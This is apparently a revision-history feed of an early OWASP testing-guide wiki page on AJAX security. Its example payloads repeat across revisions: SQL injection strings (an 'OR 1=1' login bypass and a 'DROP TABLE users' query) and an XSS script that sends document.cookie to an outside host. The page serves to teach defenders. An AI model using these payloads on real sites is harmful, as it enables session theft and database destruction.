...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11771</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11771"/>
				<updated>2006-11-05T18:41:55Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&lt;br /&gt;
&lt;br /&gt;
== Examples  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11770</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11770"/>
				<updated>2006-11-05T18:36:37Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Examples  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11730</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11730"/>
				<updated>2006-11-05T07:15:55Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11728</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11728"/>
				<updated>2006-11-05T05:28:27Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
